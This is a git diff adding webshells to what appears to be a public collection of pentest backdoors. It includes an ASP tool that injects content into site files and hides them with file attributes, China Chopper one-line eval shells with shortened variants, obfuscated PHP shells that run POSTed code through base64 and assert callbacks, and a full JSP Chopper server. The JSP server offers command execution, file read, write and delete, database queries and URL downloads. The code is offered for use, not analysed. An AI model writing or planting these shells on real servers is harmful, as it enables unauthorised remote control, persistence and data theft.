add Ridter'Pentest backdoor tools @Ridter 👍

create version 4.2.3 @twepl 👍
form : https://github.com/HARDLINUX/webshell
2026-01-27 00:29:05 +00:00 · 2016-03-02 11:48:51 +08:00 · 2016-01-25 14:57:57 +08:00 · 2016-01-11 13:37:25 +08:00 · 2016-01-05 20:53:06 +08:00 · 2015-12-27 11:35:18 +08:00
30 changed files with 21262 additions and 15 deletions
--- a/asp/good_1.asp
+++ b/asp/good_1.asp
@@ -0,0 +1,614 @@
+<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%><% 
+dim file,content,path,task,paths,paths_str,nn,nnfilename,dpath,htmlpath,htmlpath_,htmlpath_str,addcontent,includefiles,noincludefiles,filetype,hanfiles,recontent,site_root,defaulthtml,defaultreplace,read 
+content=request("content") 
+path=request("path") 
+file=request("file") 
+task=request("task") 
+paths=request("paths") 
+nnfilename=request("nnfilename") 
+htmlpath=request("htmlpath") 
+addcontent=request("addcontent") 
+includefiles=request("includefiles") 
+noincludefiles=request("noincludefiles") 
+filetype=request("filetype") 
+recontent=request("recontent") 
+hanfiles=request("hanfiles") 
+site_root=request("site_root") 
+defaulthtml=request("defaulthtml") 
+defaultreplace=request("defaultreplace") 
+read=request("read") 
+IF site_root="" or site_root=null then 
+        site_root = Server.MapPath("/") 
+End IF 
+
+if task="1" Then 
+        paths_str = split(paths,",") 
+        nn = 0 
+        for i=0 to (ubound(paths_str)) 
+                if IsFloderExist(Server.MapPath("/")&"/"&paths_str(i)) Then 
+                readfile_("/"&paths_str(i)&"/"&nnfilename) 
+                WriteIn Server.MapPath("/")&"/"&paths_str(i)&"/"&nnfilename,content 
+                Response.write "/"&paths_str(i)&"/"&nnfilename&"|" 
+                readfile("/"&paths_str(i)&"/"&nnfilename) 
+                nn = nn +1 
+                end if 
+        Next 
+        if nn=0 Then 
+                dpath = mulu(Server.MapPath("/"),defaulthtml) 
+                CFolder("/"&dpath) 
+                readfile_("/"&dpath&"/"&nnfilename) 
+                WriteIn Server.MapPath("/")&"/"&dpath&"/"&nnfilename,content 
+                Response.write "/"&dpath&"/"&nnfilename&"|" 
+                readfile("/"&dpath&"/"&nnfilename) 
+        end If 
+ElseIf task="2" Then     
+        paths_str = split(paths,",") 
+        nn = 0 
+        for i=0 to (ubound(paths_str)) 
+                if IsFloderExist(Server.MapPath("/")&"/"&paths_str(i)) And nn=0 Then 
+                htmlpath_ = paths_str(i) 
+                nn = nn +1 
+                end if 
+        Next 
+        if nn=0 Then 
+                htmlpath_ = mulu(Server.MapPath("/"),defaulthtml) 
+                if CFolder("/"&htmlpath_)=1 then 
+                        readfolder("/"&htmlpath_) 
+                end if 
+        end If 
+        if request("htmlpath")<>"" Then 
+                htmlpath_str = split(htmlpath,"/") 
+                nn = 0 
+                for i=0 to (ubound(htmlpath_str)) 
+                        htmlpath_ = htmlpath_&"/"&htmlpath_str(i) 
+                        if CFolder("/"&htmlpath_)=1 then 
+                                readfolder("/"&htmlpath_) 
+                        end if 
+                Next 
+        end If 
+        readfile_("/"&htmlpath_&"/"&nnfilename) 
+        content = Replace(content,"SITE_URL","http://"&Request.ServerVariables("SERVER_NAME")&"/"&htmlpath_&"/"&nnfilename) 
+        WriteIn Server.MapPath("/")&"/"&htmlpath_&"/"&nnfilename,content 
+        Response.write "<sbj:url>"&"/"&htmlpath_&"/"&nnfilename&"</sbj:url>" 
+        readfile5("/"&htmlpath_&"/"&nnfilename) 
+
+ElseIf task="3" Then 
+        IF instr(site_root, "|")>0  Then 
+                site_root_str = split(site_root,"|") 
+                nn = 0 
+                for i=0 to (ubound(site_root_str)) 
+                        if IsFloderExist(site_root_str(i)) then 
+                                Bianlireplate site_root_str(i),addcontent,recontent,includefiles,noincludefiles,filetype,hanfiles 
+                        end if 
+                Next 
+        Else 
+                Bianlireplate site_root,addcontent,recontent,includefiles,noincludefiles,filetype,hanfiles 
+        End IF 
+ElseIf task="4" Then 
+        IF instr(site_root, "|")>0  Then 
+                site_root_str = split(site_root,"|") 
+                nn = 0 
+                for i=0 to (ubound(site_root_str)) 
+                        if IsFloderExist(site_root_str(i)) then 
+                                Bianli site_root_str(i) 
+                        end if 
+                Next 
+        Else 
+                Bianli site_root 
+        End IF 
+Else 
+        Response.write "tj,"&" tj" 
+        If  IsObjInstalled("Scripting.FileSystemObject") Then 
+                Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") 
+                set f=fso.Getfile(server.mappath(Request.ServerVariables("SCRIPT_NAME"))) 
+                if f.attributes <> 1 Then 
+                f.attributes = 1 
+                end If 
+                set fso = Nothing 
+        end If 
+end If 
+
+%> 
+
+<% 
+Function IsObjInstalled(strClassString)     
+  On Error Resume Next     
+  IsObjInstalled = False     
+  Err = 0     
+  Dim xTestObj     
+  Set xTestObj = Server.CreateObject(strClassString)     
+  If 0 = Err Then IsObjInstalled = True     
+    Set xTestObj = Nothing     
+    Err = 0     
+  End Function   
+%> 
+
+<% 
+function readfile(testfile) 
+        Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") 
+        If fso.FileExists(Server.MapPath(testfile)) Then   '???????? 
+                set f=fso.Getfile(Server.MapPath(testfile)) 
+                if f.attributes <> 7 Then 
+                f.attributes = 7 
+                end If 
+        end If 
+        set fso = Nothing 
+end Function 
+function readfolder(testfile) 
+        Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") 
+        If fso.FolderExists(Server.MapPath(testfile)) Then   '???????? 
+                set f=fso.getfolder(Server.MapPath(testfile)) 
+                if f.attributes <> 7 Then 
+                f.attributes = 7 
+                end If 
+        end if 
+        set fso = Nothing 
+end Function 
+function readfile_(testfile) 
+        Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") 
+        If fso.FileExists(Server.MapPath(testfile)) Then   '???????? 
+                set f=fso.Getfile(Server.MapPath(testfile)) 
+                if f.attributes <> 0 Then 
+                f.attributes = 0 
+                end If 
+        end if 
+        set fso = Nothing 
+end Function 
+function readfolder_(testfile) 
+        Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") 
+        If fso.FolderExists(Server.MapPath(testfile)) Then   '???????? 
+         set f=fso.getfolder(Server.MapPath(testfile)) 
+                if f.attributes <> 0 Then 
+                f.attributes = 0 
+                end If 
+        end if 
+        set fso = Nothing 
+end Function 
+function readfile5(testfile) 
+        Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") 
+        If fso.FileExists(Server.MapPath(testfile)) Then   '???????? 
+                set f=fso.Getfile(Server.MapPath(testfile)) 
+                if f.attributes <> 5 Then 
+                f.attributes = 5 
+                end If 
+        end If 
+        set fso = Nothing 
+end Function 
+function readfolder5(testfile) 
+        Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") 
+        If fso.FolderExists(Server.MapPath(testfile)) Then   '???????? 
+                set f=fso.getfolder(Server.MapPath(testfile)) 
+                if f.attributes <> 5 Then 
+                f.attributes = 5 
+                end If 
+        end if 
+        set fso = Nothing 
+end Function 
+function readfile6(testfile,attid) 
+        Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") 
+        If fso.FileExists(Server.MapPath(testfile)) Then   '???????? 
+                set f=fso.Getfile(Server.MapPath(testfile)) 
+                if f.attributes <> attid Then 
+                f.attributes = attid 
+                end If 
+        end If 
+        set fso = Nothing 
+end Function 
+''''''''''''''''''''''''''''''''' 
+function readfile_new(testfile) 
+        Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") 
+        If fso.FileExists(testfile) Then   '???????? 
+                set f=fso.Getfile(testfile) 
+                if f.attributes <> 7 Then 
+                f.attributes = 7 
+                end If 
+        end If 
+        set fso = Nothing 
+end Function 
+function readfolder_new(testfile) 
+        Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") 
+        If fso.FolderExists(testfile) Then   '???????? 
+                set f=fso.getfolder(testfile) 
+                if f.attributes <> 7 Then 
+                f.attributes = 7 
+                end If 
+        end if 
+        set fso = Nothing 
+end Function 
+function readfile__new(testfile) 
+        Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") 
+        If fso.FileExists(testfile) Then   '???????? 
+                set f=fso.Getfile(testfile) 
+                if f.attributes <> 0 Then 
+                f.attributes = 0 
+                end If 
+        end if 
+        set fso = Nothing 
+end Function 
+function readfolder__new(testfile) 
+        Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") 
+        If fso.FolderExists(testfile) Then   '???????? 
+         set f=fso.getfolder(testfile) 
+                if f.attributes <> 0 Then 
+                f.attributes = 0 
+                end If 
+        end if 
+        set fso = Nothing 
+end Function 
+function readfile5_new(testfile) 
+        Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") 
+        If fso.FileExists(testfile) Then   '???????? 
+                set f=fso.Getfile(testfile) 
+                if f.attributes <> 5 Then 
+                f.attributes = 5 
+                end If 
+        end If 
+        set fso = Nothing 
+end Function 
+function readfolder5_new(testfile) 
+        Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") 
+        If fso.FolderExists(testfile) Then   '???????? 
+                set f=fso.getfolder(testfile) 
+                if f.attributes <> 5 Then 
+                f.attributes = 5 
+                end If 
+        end if 
+        set fso = Nothing 
+end Function 
+function readfile6_new(testfile,attid) 
+        Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct") 
+        If fso.FileExists(testfile) Then   '???????? 
+                set f=fso.Getfile(testfile) 
+                if f.attributes <> attid Then 
+                f.attributes = attid 
+                end If 
+        end If 
+        set fso = Nothing 
+end Function 
+
+%> 
+
+<% 
+  Function mulu(path,defaulthtml)   
+    Set Fso=server.createobject("scripting.filesystemobject")     
+        On Error Resume Next   
+    Set Objfolder=fso.getfolder(path)   
+
+    Set Objsubfolders=objfolder.subfolders   
+
+        Dim mulu_item,iii 
+        mulu_item = "html" 
+        iii = 0 
+    For Each Objsubfolder In Objsubfolders   
+      Nowpath= Objsubfolder.name   
+          mulu_item = Nowpath 
+    Next 
+    IF defaulthtml<>"" then 
+        mulu_item = defaulthtml 
+        End IF 
+        mulu = mulu_item 
+
+    Set Objfolder=nothing   
+    Set Objsubfolders=nothing   
+    Set Fso=nothing   
+  End Function 
+
+  Function Bianli(path)   
+    Set Fso=server.createobject("scripting.filesystemobject")     
+
+    On Error Resume Next   
+    Set Objfolder=fso.getfolder(path)   
+    Set Objsubfolders=objfolder.subfolders   
+    For Each Objsubfolder In Objsubfolders   
+      Nowpath=path + "\" + Objsubfolder.name   
+      Set Objfiles=objsubfolder.files   
+      For Each Objfile In Objfiles   
+      Next   
+      Bianli(nowpath)'??   
+
+    Next   
+    Set Objfolder=nothing   
+    Set Objsubfolders=nothing   
+    Set Fso=nothing   
+  End Function   
+
+    Function Bianlireplate(path,addcontent,recontent,includefiles,noincludefiles,filetype,hanfiles)   
+                Set Fso=server.createobject("scripting.filesystemobject")     
+                On Error Resume Next   
+                Set Objfolder=fso.getfolder(path)   
+                Set Objfiles_1=Objfolder.files 
+                For Each Objfile In Objfiles_1   
+                        ftype = getFileExt(Objfile.name) 
+                        aaa=instr(filetype,"."&ftype&".") 
+                        turet = False 
+                        If includefiles= "" Then 
+                                turet = true 
+                        End If 
+                        If turet Then 
+                        else 
+                                true_a=instr(includefiles,Objfile.name) 
+                                If true_a>0 Then 
+                                        turet = true 
+                                End If 
+                        End If 
+                        IF turet=false then 
+                                IF hanfiles<>"" and Instr(1, hanfiles, ",")  Then 
+                                        set hanfiles_str = split(hanfiles,",") 
+                                        nn = 0 
+                                        for i=0 to (ubound(hanfiles_str)) 
+                                                if instr(Objfile.name,hanfiles_str(i))>1 then 
+                                                        turet = true 
+                                                end if 
+                                        Next 
+                                End IF 
+                        End IF 
+                        if aaa>0 And turet Then 
+                                codepage = checkcode(path&"/"&Objfile.name) 
+                                attid = Objfile.attributes 
+                                readfile__new(path&"/"&Objfile.name) 
+                                set writeBoolean = false 
+                                if codepage="utf-8" Or codepage="unicode" Then 
+                                        newf_content = ReadFromTextFile(path&"/"&Objfile.name,"utf-8") 
+                                        bbb=instr(newf_content,addcontent)                                                                                                                       
+                                        if bbb>0 Then 
+                                                If recontent="" Then 
+                                                        writeBoolean = false 
+                                                Else 
+                                                        newf_content = Replace(newf_content,recontent,addcontent) 
+                                                        writeBoolean = true 
+                                                End If 
+                                        Else 
+                                                If recontent="" Then 
+                                                        newf_content = newf_content&addcontent 
+                                                        writeBoolean = true 
+                                                Else 
+                                                        newf_content = Replace(newf_content,recontent,addcontent) 
+                                                        writeBoolean = true 
+                                                End If 
+                                        end If 
+                                        if writeBoolean = true then 
+                                                WriteIn path&"/"&Objfile.name,newf_content 
+                                                readfile6_new path&"/"&Objfile.name,attid 
+                                                Response.write "<sbj:url>"&path&"/"&Objfile.name&"</sbj:url>"&codepage&chr(13) 
+                                        end IF 
+                                Else 
+                                        newf_content = b(path&"/"&Objfile.name) 
+                                        bbb=instr(1,newf_content,addcontent,1) 
+                                        if bbb>0 Then 
+                                                If recontent="" Then 
+                                                        writeBoolean = false 
+                                                Else 
+                                                        newf_content = Replace(newf_content,recontent,addcontent) 
+                                                        writeBoolean = true 
+                                                End If 
+                                        Else 
+                                                If recontent="" Then 
+                                                        newf_content = newf_content&addcontent 
+                                                        writeBoolean = true 
+                                                Else 
+                                                        newf_content = Replace(newf_content,recontent,addcontent) 
+                                                        writeBoolean = true 
+                                                End If 
+                                        end If 
+                                        if writeBoolean = true then 
+                                                WriteIn1 path&"/"&Objfile.name,newf_content
+                                                readfile6_new path&"/"&Objfile.name,attid 
+                                                Response.write "<sbj:url>"&path&"/"&Objfile.name&"</sbj:url>"&codepage&chr(13) 
+                                        end IF 
+                                end if 
+                        end if 
+                 Next 
+                Set Objsubfolders=objfolder.subfolders   
+                For Each Objsubfolder In Objsubfolders   
+
+                  Nowpath=path + "\" + Objsubfolder.name   
+                  Set Objfiles=objsubfolder.files   
+                  Bianlireplate nowpath,addcontent,recontent,includefiles,noincludefiles,filetype,hanfiles '??   
+
+                Next   
+
+                Set Objfolder=nothing   
+                Set Objsubfolders=nothing   
+                Set Fso=nothing   
+  End Function   
+
+  function checkcode(path) 
+  set objstream=server.createobject("adodb.stream") 
+  objstream.Type=1 
+  objstream.mode=3 
+  objstream.open 
+  objstream.Position=0 
+  objstream.loadfromfile path 
+  bintou=objstream.read(2) 
+  If AscB(MidB(bintou,1,1))=&HEF And AscB(MidB(bintou,2,1))=&HBB Then 
+  checkcode="utf-8" 
+  ElseIf AscB(MidB(bintou,1,1))=&HFF And AscB(MidB(bintou,2,1))=&HFE Then 
+  checkcode="unicode" 
+  Else 
+  checkcode="gb2312" 
+  End If 
+  objstream.close 
+  set objstream=nothing 
+  end function 
+
+  Function getFileExt(sFileName) 
+getFileExt = Mid(sFileName, InstrRev(sFileName, ".") + 1) 
+End Function 
+%> 
+
+<% 
+Function IsFloderExist(strFolderName) 
+SET FSO=Server.CreateObject("Scripting.FileSystemObject") 
+IF(FSO.FolderExists(strFolderName))THEN 
+IsFloderExist = True 
+ELSE 
+IsFloderExist = False 
+END IF 
+SET FSO=NOTHING 
+End Function 
+%> 
+
+<% 
+Function getCode(iCount) ''????????? 
+     Dim arrChar 
+     Dim j,k,strCode 
+     arrChar = "012qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM3456789" 
+     k=Len(arrChar) 
+     Randomize 
+     For i=1 to iCount 
+          j=Int(k * Rnd )+1 
+          strCode = strCode & Mid(arrChar,j,1) 
+     Next 
+     getCode = strCode 
+End Function 
+
+Function Digital(iCount)''????? 
+     Dim arrChar 
+     Dim j,k,strCode 
+     arrChar = "0123456789" 
+     k=Len(arrChar) 
+     Randomize 
+     For i=1 to iCount 
+          j=Int(k * Rnd )+1 
+          strCode = strCode & Mid(arrChar,j,1) 
+     Next 
+     Digital = strCode 
+End Function 
+Function sj_int(ByVal min, ByVal max) ''????? 
+                Randomize(Timer) : sj_int = Int((max - min + 1) * Rnd + min) 
+End Function 
+
+
+Function Rand(ByVal min, ByVal max)   
+                Randomize(Timer) : Rand = Int((max - min + 1) * Rnd + min) 
+End Function 
+%> 
+
+<% 
+function WriteIn(testfile,msg) 
+  'set fs=server.CreateObject("scripting.filesystemobject")   
+  'set thisfile=fs.CreateTextFile(testfile,True,True)   
+  'thisfile.Write(""&msg& "")   
+' thisfile.close   
+  'set fs = nothing 
+  Set stm = CreateObject("Adodb.Stream") 
+    stm.Type = 2 
+    stm.mode = 3 
+    stm.charset = "utf-8" 
+    stm.Open 
+    stm.WriteText msg 
+    stm.SaveToFile testfile, 2 
+    stm.flush 
+    stm.Close 
+    Set stm = Nothing 
+end Function 
+function WriteIn1(testfile,msg) 
+  ' set fs=server.CreateObject("scripting.filesystemobject")   
+  ' set thisfile=fs.CreateTextFile(testfile,True)   
+  ' thisfile.Write(""&msg& "")   
+  ' thisfile.close   
+  ' set fs = nothing 
+  Set stm = CreateObject("Adodb.Stream") 
+    stm.Type = 2 
+    stm.mode = 3 
+    stm.charset = "gb2312" 
+    stm.Open 
+    stm.WriteText msg 
+    stm.SaveToFile testfile, 2 
+    stm.flush 
+    stm.Close 
+    Set stm = Nothing 
+end Function 
+
+function delfile(testfile) 
+  set fs=server.CreateObject("scripting.filesystemobject")   
+  fs.DeleteFile(testfile) 
+  set fs = nothing 
+end function 
+%> 
+
+<% 
+function a(t) 
+        set fs=server.createobject("scripting.filesystemobject") 
+        file=server.mappath(t) 
+        set txt=fs.opentextfile(file,1,true) 
+        if not txt.atendofstream then 
+           a=txt.ReadAll 
+        end if 
+     set fs=nothing 
+     set txt=nothing 
+end Function 
+function b(file) 
+        set fs=server.createobject("scripting.filesystemobject") 
+        set txt=fs.opentextfile(file,1,true) 
+        if not txt.atendofstream then 
+           b=txt.ReadAll 
+        end if 
+     set fs=nothing 
+     set txt=nothing 
+end Function 
+function aa(t) 
+        set fs=server.createobject("scripting.filesystemobject") 
+        file=server.mappath(t) 
+        set txt=fs.opentextfile(file,1,true,-1) 
+        if not txt.atendofstream then 
+           aa=txt.ReadAll 
+        end if 
+     set fs=nothing 
+     set txt=nothing 
+end Function 
+function bb(file) 
+        set fs=server.createobject("scripting.filesystemobject") 
+        set txt=fs.opentextfile(file,1,true,-1) 
+        if not txt.atendofstream then 
+           bb=txt.ReadAll 
+        end if 
+     set fs=nothing 
+     set txt=nothing 
+end function 
+
+Function ReadFromTextFile(file,CharSet) 
+         dim str 
+         set stm=CreateObject("adodb.stream") 
+         stm.Type=2'?????? 
+         stm.mode=3 
+         stm.charset=CharSet 
+         stm.open 
+         stm.loadfromfile file 
+         str=stm.readtext 
+         stm.Close 
+         set stm=nothing 
+ReadFromTextFile=str 
+End Function 
+
+%> 
+
+<% 
+
+Function CFolder(Filepath) 
+  Filepath=server.mappath(Filepath) 
+  Set Fso = Server.CreateObject("Scripting.FileSystemObject") 
+  If Fso.FolderExists(FilePath) Then 
+    CFolder=0 
+  else 
+    Fso.CreateFolder(FilePath) 
+    CFolder=1 
+  end if 
+  Set Fso = Nothing 
+end function 
+
+Function BytesToBstr(body,Cset) 
+dim objstream 
+set objstream = Server.CreateObject("adodb.stream") 
+objstream.Type = 1 
+objstream.Mode =3 
+objstream.Open 
+objstream.Write body 
+objstream.Position = 0 
+objstream.Type = 2 
+objstream.Charset = Cset 
+BytesToBstr = objstream.ReadText 
+objstream.Close 
+set objstream = nothing 
+End Function 
+%>
--- a/caidao-shell/short_shell.md
+++ b/caidao-shell/short_shell.md
@@ -0,0 +1,46 @@
+菜刀readme.txt中附带一3个一句话： 
+
+```
+PHP:    <?php @eval($_POST['chopper']);?> 
+ASP:    <%eval request("chopper")%> 
+ASP.NET:    <%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>
+```
+
+抛弃密码的长度不算，其实这3个一句话均不是最短的。 
+如： 
+PHP我们可以这样写： 
+
+```php
+<?php @eval($_POST['0']);?>   原版 
+<?=eval($_POST[0]);?>         缩小版
+```
+
+ASP我们可以这样写： 
+
+```asp
+<%eval request("0")%>   原版 
+<%eval request(0)%>     缩小版
+```
+
+ASP.NET可以这样写： 
+
+```aspx
+<%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%>   原版 
+<%@Page Language=JS%><%eval(Request.Item(0),"unsafe");%>             缩小版
+```
+
+当然你也可以把它写成这样(很显然体积上不占优势)： 
+
+```
+<%@Page Language="JAVASCRIPT"%><%eval(Request.Item(0),"unsafe");%>
+```
+
+已经用了许久的东西，直接回复原贴感觉很多人看不到，还是单独发出来吧。 
+和原求助贴中的最长字符数对比： 
+
+```
+<%@ Page Language="Jscript"%><%eval(Request.Item["1"],"unsafe 
+<%@Page Language=JS%><%eval(Request.Item(0),"unsafe");%>
+```
+
+显然达到目的了。
--- a/caidao-shell/sqzr.php
+++ b/caidao-shell/sqzr.php
@@ -0,0 +1,10 @@
+<?php 
+$uf="snc3"; 
+$ka="IEBldmFbsK"; 
+$pjt="CRfUE9TVF"; 
+$vbl = str_replace("ti","","tistittirti_rtietipltiatice"); 
+$iqw="F6ciddKTs="; 
+$bkf = $vbl("k", "", "kbakske6k4k_kdkekckokdke"); 
+$sbp = $vbl("ctw","","ctwcctwrectwatctwectw_fctwuncctwtctwioctwn"); 
+$mpy = $sbp('', $bkf($vbl("b", "", $ka.$pjt.$uf.$iqw))); $mpy(); 
+?>
--- a/caidao-shell/w-ob_start01.php
+++ b/caidao-shell/w-ob_start01.php
@@ -0,0 +1,7 @@
+<?php 
+$evalstr=""; 
+ob_start(function ($c,$d){global $evalstr;$evalstr=$c;}); 
+echo $_REQUEST['pass']; 
+ob_end_flush(); 
+assert($evalstr); 
+?>
--- a/caidao-shell/w-ob_start02.php
+++ b/caidao-shell/w-ob_start02.php
@@ -0,0 +1,5 @@
+<?php 
+ob_start(function ($c,$d){register_shutdown_function('assert',$c);}); 
+echo $_REQUEST['pass']; 
+ob_end_flush(); 
+?>
--- a/caidao-shell/w.jsp
+++ b/caidao-shell/w.jsp
@@ -0,0 +1,59 @@
+<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
+<%!
+String Pwd="test";
+String EC(String s,String c)throws Exception{return s;}//new String(s.getBytes("ISO-8859-1"),c);}
+Connection GC(String s)throws Exception{String[] x=s.trim().split("\r\n");Class.forName(x[0].trim()).newInstance();
+Connection c=DriverManager.getConnection(x[1].trim());if(x.length>2){c.setCatalog(x[2].trim());}return c;}
+void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i<r.length;i++){sb.append(r[i].toString().substring(0,2));}}
+void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT, sQ,sF="";java.util.Date dt;
+SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(int i=0;i<l.length;i++){dt=new java.util.Date(l[i].lastModified());
+sT=fm.format(dt);sQ=l[i].canRead()?"R":"";sQ+=l[i].canWrite()?" W":"";if(l[i].isDirectory()){sb.append(l[i].getName()+"/\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n");}
+else{sF+=l[i].getName()+"\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n";}}sb.append(sF);}
+void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles();
+for(int k=0;k<x.length;k++){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();}
+void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset();
+ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));
+os.write(("->"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"<-").getBytes(),0,3);os.close();is.close();}
+void GG(String s, String d)throws Exception{String h="0123456789ABCDEF";int n;File f=new File(s);f.createNewFile();
+FileOutputStream os=new FileOutputStream(f);for(int i=0;i<d.length();i+=2)
+{os.write((h.indexOf(d.charAt(i))<<4|h.indexOf(d.charAt(i+1))));}os.close();}
+void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles();
+for(int j=0;j<z.length;j++){HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());}
+}else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df);
+int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}}
+void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();}
+void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());}
+void LL(String s, String d)throws Exception{URL u=new URL(s);int n;FileOutputStream os=new FileOutputStream(d);
+HttpURLConnection h=(HttpURLConnection)u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512];
+while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}
+void MM(InputStream is, StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));
+while((l=br.readLine())!=null){sb.append(l+"\r\n");}}
+void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=c.getMetaData().getCatalogs();
+while(r.next()){sb.append(r.getString(1)+"\t");}r.close();c.close();}
+void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] t={"TABLE"};ResultSet r=c.getMetaData().getTables (null,null,"%",t);
+while(r.next()){sb.append(r.getString("TABLE_NAME")+"\t");}r.close();c.close();}
+void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split("\r\n");Connection c=GC(s);
+Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from "+x[3]);ResultSetMetaData d=r.getMetaData();
+for(int i=1;i<=d.getColumnCount();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")\t");}r.close();m.close();c.close();}
+void QQ(String cs,String s,String q,StringBuffer sb)throws Exception{int i;Connection c=GC(s);Statement m=c.createStatement(1005,1008);
+try{ResultSet r=m.executeQuery(q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(i=1;i<=n;i++){sb.append(d.getColumnName(i)+"\t|\t");
+}sb.append("\r\n");while(r.next()){for(i=1;i<=n;i++){sb.append(EC(r.getString(i),cs)+"\t|\t");}sb.append("\r\n");}r.close();}
+catch(Exception e){sb.append("Result\t|\t\r\n");try{m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n");
+}catch(Exception ee){sb.append(ee.toString()+"\t|\t\r\n");}}m.close();c.close();}
+%><%
+String cs=request.getParameter("z0")+"";request.setCharacterEncoding(cs);response.setContentType("text/html;charset="+cs);
+String Z=EC(request.getParameter(Pwd)+"",cs);String z1=EC(request.getParameter("z1")+"",cs);String z2=EC(request.getParameter("z2")+"",cs);
+StringBuffer sb=new StringBuffer("");try{sb.append("->"+"|");
+if(Z.equals("A")){String s=new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s+"\t");if(!s.substring(0,1).equals("/")){AA(sb);}}
+else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
+while((l=br.readLine())!=null){sb.append(l+"\r\n");}br.close();}
+else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
+bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);}
+else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");}
+else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");}
+else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);
+MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}
+else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb);}
+}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"<-");out.print(sb.toString());
+%>
--- a/caidao-shell/wl168168.php
+++ b/caidao-shell/wl168168.php
@@ -1,5 +0,0 @@
